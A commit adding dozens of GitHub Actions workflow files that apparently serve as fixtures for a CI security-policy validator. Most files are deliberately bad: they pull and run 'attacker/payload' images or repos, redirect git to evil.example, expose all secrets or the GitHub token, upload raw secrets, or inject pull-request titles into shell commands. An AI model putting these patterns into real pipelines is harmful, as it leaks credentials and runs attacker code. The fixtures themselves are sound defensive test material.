ci: require agentcompat stress validation

Co-authored-by: naiba/CloudCode <hi+cloudcode@nai.ba>
This commit is contained in:
naiba
2026-07-20 04:55:20 +00:00
co-authored by naiba/CloudCode
parent d501f23473
commit d96b34b0d4
119 changed files with 3552 additions and 23 deletions
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: /usr/bin/docker run --rm ghcr.io/attacker/payload:latest
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env:
ALL_SECRETS: ${{ toJSON(secrets) }}
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: /bin/docker run --rm ghcr.io/attacker/payload:latest
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: |
true && if false; then
echo ignored
fi
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
with:
path: ${{ runner.temp }}/results
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env: &shared
MODE: test
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: false
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/cache@0123456789abcdef0123456789abcdef01234567
with:
path: bin
key: executable-cache
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: command -p git clone https://github.com/attacker/payload.git payload
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
strategy:
matrix:
os: [ubuntu]
runs-on: custom-${{ matrix.os }}-latest
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,18 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
id: redact-evidence
if: false
run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
if: always()
with:
path: ${{ runner.temp }}/nezha-agentcompat-redacted
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: podman run --rm attacker/payload:latest
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
container: golang:latest
steps:
- run: go test ./...
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- continue-on-error: true
run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: private-production-runner
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: docker run --rm golang:latest go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/download-artifact@0123456789abcdef0123456789abcdef01234567
@@ -0,0 +1,17 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
first:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
jobs:
second:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git ls-remote "${{ inputs.repository }}" refs/heads/main
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: printf '%s\n' "${{ github[format('event')].pull_request.title }}"
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency:
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: ""
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- {}
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: ""
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git clone "$REMOTE"
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git clone https://evil.example/attacker/payload.git
@@ -0,0 +1,15 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env:
GIT_CONFIG_COUNT: "1"
GIT_CONFIG_KEY_0: url.https://attacker.invalid/.insteadOf
GIT_CONFIG_VALUE_0: https://github.com/nezhahq/agent
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git config --global url.https://evil.example/.insteadOf https://github.com/
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git -c advice.detachedHead=false clone https://github.com/attacker/payload.git payload
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git -c url.https://evil.example/.insteadOf=https://github.com/ clone https://github.com/nezhahq/nezha.git nezha
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: |
printf '%s\n' 'GIT_CONFIG_COUNT=1' >> "$GITHUB_ENV"
printf '%s\n' 'GIT_CONFIG_KEY_0=url.https://attacker.invalid/.insteadOf' >> "$GITHUB_ENV"
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env:
GITHUB_TOKEN: ${{ github.token }}
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: printf '%s' "${{ github.token }}"
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
id-token: write
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: |
if go test ./...; then
echo passed
fi
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: |
if ! go test ./...; then
echo ignored
fi
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: printf '%s\n' "${{ github['event']['pull_request']['title'] }}"
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: ./untrusted-action
@@ -0,0 +1,4 @@
on: [pull_request
jobs:
verify:
runs-on: ubuntu-24.04
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents:
read: true
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,16 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
strategy:
matrix:
runner: [ubuntu-24.04]
include:
- runner: self-hosted
runs-on: ${{ matrix.runner }}
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
strategy:
matrix:
runner: [ubuntu-24.04, self-hosted]
runs-on: ${{ matrix.runner }}
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,10 @@
on:
pull_request:
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,5 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
@@ -0,0 +1,17 @@
name: Missing required aggregator
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
tests:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
linux-race-quality:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test -race -shuffle=on -count=1 ./...
@@ -0,0 +1,43 @@
name: Missing required dependency
on:
pull_request:
merge_group:
push:
branches:
- master
concurrency: policy
permissions:
contents: read
jobs:
tests:
runs-on: ubuntu-24.04
timeout-minutes: 30
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
with:
go-version: "1.26.x"
cache: false
- run: go test ./...
linux-race-quality:
runs-on: ubuntu-24.04
timeout-minutes: 45
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
with:
go-version: "1.26.x"
cache: false
- run: go test -race -shuffle=on -count=1 ./...
nezha-quality-required:
if: ${{ always() }}
needs:
- tests
runs-on: ubuntu-24.04
timeout-minutes: 5
steps:
- run: test "${{ needs.tests.result }}" = success
@@ -0,0 +1,9 @@
on:
pull_request:
concurrency: policy
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,10 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
steps:
- run: go test ./...
@@ -0,0 +1,17 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
run: go run ./integration/agentcompat/cmd/redact
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
with:
path: |
${{ runner.temp }}/redacted-results
${{ runner.temp }}/raw-results
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
@@ -0,0 +1,15 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/agent
ref: main
persist-credentials: false
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: bash -c 'go test ./... || true'
@@ -0,0 +1,15 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
run: "true"
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
with:
path: ${{ runner.temp }}/redacted-results
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency:
group: policy
cancel-in-progress: "true"
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: ${{ inputs.action }}
@@ -0,0 +1,15 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: ${{ inputs.repository }}
ref: 0123456789abcdef0123456789abcdef01234567
persist-credentials: false
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- malformed
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses:
- actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
run: go test ./...
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run:
command: go test ./...
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10.5
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./... || echo ignored
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./... || exit 0
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./... || printf '%s\n' ignored
@@ -0,0 +1,10 @@
on:
pull_request:
concurrency: policy
permissions: []
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: true
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: sudo git clone "$REMOTE"
@@ -0,0 +1,11 @@
on:
pull_request_target:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,12 @@
name: Quality only
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
linux-race-quality:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test -race -shuffle=on -count=1 ./...
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: "false"
@@ -0,0 +1,19 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
id: redact-evidence
if: always()
run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
- run: cp raw-secret "$RUNNER_TEMP/nezha-agentcompat-redacted/raw-secret"
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
if: always()
with:
path: ${{ runner.temp }}/nezha-agentcompat-redacted
@@ -0,0 +1,20 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
id: redact-evidence
if: always()
run: |
go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
cp raw-secret "$RUNNER_TEMP/nezha-agentcompat-redacted/raw-secret"
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
if: always()
with:
path: ${{ runner.temp }}/nezha-agentcompat-redacted
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: bin/agentcompat --check
@@ -0,0 +1,25 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- id: resolve-agent
run: |
set -euo pipefail
remote='https://github.com/nezhahq/agent.git'
mapfile -t refs < <(git ls-remote "$remote" refs/heads/main)
(( ${#refs[@]} == 1 ))
sha=${refs[0]%%$'\t'*}
[[ "$sha" =~ ^[0-9a-f]{40}$ ]]
sha=attacker-controlled
printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT"
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/agent
ref: ${{ steps.resolve-agent.outputs.sha }}
persist-credentials: false
@@ -0,0 +1,8 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
uses: attacker/repo/.github/workflows/build.yml@main
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env:
TOKEN: ${{ secrets.CI_TOKEN }}
steps:
- run: go test ./...
@@ -0,0 +1,21 @@
name: Secure Agent compatibility
on:
pull_request:
concurrency: secure-agent-${{ github.ref }}
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 30
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/nezha
ref: fedcba9876543210fedcba9876543210fedcba98
path: nezha
persist-credentials: false
- run: go test ./integration/agentcompat/...
@@ -0,0 +1,40 @@
name: Secure Nezha compatibility
# Comments and names are not policy input: ignore pull_request_target and ${{ secrets.FAKE }}.
on:
pull_request:
merge_group:
concurrency:
group: secure-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
id-token: none
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 30
steps:
- name: Checkout Nezha
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
persist-credentials: false
- name: Checkout Agent
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/agent
ref: 0123456789abcdef0123456789abcdef01234567
path: agent
persist-credentials: false
- name: Test
run: go test ./integration/agentcompat/...
- name: Document self-hosted, Docker, cache, and service bans
run: printf '%s\n' 'policy active'
- name: Redact evidence
id: redact-evidence
if: always()
run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
- name: Upload redacted evidence
uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
if: always()
with:
path: ${{ runner.temp }}/nezha-agentcompat-redacted
@@ -0,0 +1,27 @@
name: Secure resolved ref
on:
pull_request:
concurrency: resolved-${{ github.ref }}
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 30
steps:
- id: resolve-agent
name: Resolve Agent commit
shell: bash
run: |
set -euo pipefail
remote='https://github.com/nezhahq/agent.git'
mapfile -t refs < <(git ls-remote "$remote" refs/heads/main)
(( ${#refs[@]} == 1 ))
sha=${refs[0]%%$'\t'*}
[[ "$sha" =~ ^[0-9a-f]{40}$ ]]
printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT"
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/agent
ref: ${{ steps.resolve-agent.outputs.sha }}
persist-credentials: false
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: [self-hosted, linux]
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
services:
database:
image: postgres:latest
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: set +e; go test ./...
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: |
set +o errexit
go test ./...
@@ -0,0 +1,13 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
with:
go-version: 1.26.3
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./... || true
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: 'go test ./...; :'
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...; true
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: trap 'exit 0' ERR; go test ./...
@@ -0,0 +1,12 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
---
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: attacker/exfiltrate@0123456789abcdef0123456789abcdef01234567
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: git clone https://github.com/attacker/fork.git
@@ -0,0 +1,15 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: attacker/fork
ref: 0123456789abcdef0123456789abcdef01234567
persist-credentials: false
@@ -0,0 +1,16 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- name: Redact evidence
id: redact-evidence
run: go run ./integration/agentcompat/cmd/redact
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
with:
path: ${{ runner.temp }}/results
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: printf '%s' "${{ github.event.pull_request.title }}"
@@ -0,0 +1,18 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- id: resolve-agent
run: |
echo "sha=$(git ls-remote https://github.com/nezhahq/agent.git refs/heads/main | cut -f1)" >> "$GITHUB_OUTPUT"
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
with:
repository: nezhahq/agent
ref: ${{ steps.resolve-agent.outputs.sha }}
persist-credentials: false
@@ -0,0 +1,13 @@
on:
workflow_run:
workflows: [Untrusted]
types: [completed]
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: ${{ github.workspace }}/bin/agentcompat
@@ -0,0 +1,11 @@
on:
pull_request:
concurrency: policy
permissions:
contents: write
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- run: go test ./...
@@ -0,0 +1,14 @@
on:
pull_request:
concurrency: policy
permissions:
contents: read
jobs:
verify:
runs-on: ubuntu-24.04
timeout-minutes: 10
env: &shared
MODE: test
steps:
- env: *shared
run: go test ./...